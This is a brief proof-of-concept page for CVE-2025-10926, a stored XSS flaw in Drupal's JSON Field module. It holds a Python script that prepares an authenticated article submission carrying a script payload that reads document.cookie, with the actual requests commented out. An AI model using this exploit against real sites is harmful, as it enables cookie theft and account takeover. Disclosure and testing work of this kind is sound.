CVE-2025-10926 Drupal JSON Field 跨站脚本(XSS)漏洞

import requests import json # CVE-2025-10926 PoC - Stored XSS in Drupal JSON Field # Target: Drupal site with vulnerable JSON Field module (< 1.5) target_url = "http://target-drupal-site.com" login_url = f"{target_url}/user/login" node_create_url = f"{target_url}/node/add/article" # Malicious JSON payload with XSS xss_payload = { "json_field": "<script>alert(document.cookie)</script>" } # Authentication (if required) session = requests.Session() login_data = { "name": "attacker_username", "pass": "attacker_password", "form_id": "user_login_form", "op": "Log in" } # login_response = session.post(login_url, data=login_data) # Create content with XSS payload node_data = { "title": "Malicious Article", "body[value]": "Test content", "field_json_data[0][value]": json.dumps(xss_payload), "form_id": "article_node_form", "op": "Save" } # response = session.post(node_create_url, data=node_data) print("XSS payload injected: ", json.dumps(xss_payload)) print("Visit the created node to trigger the XSS")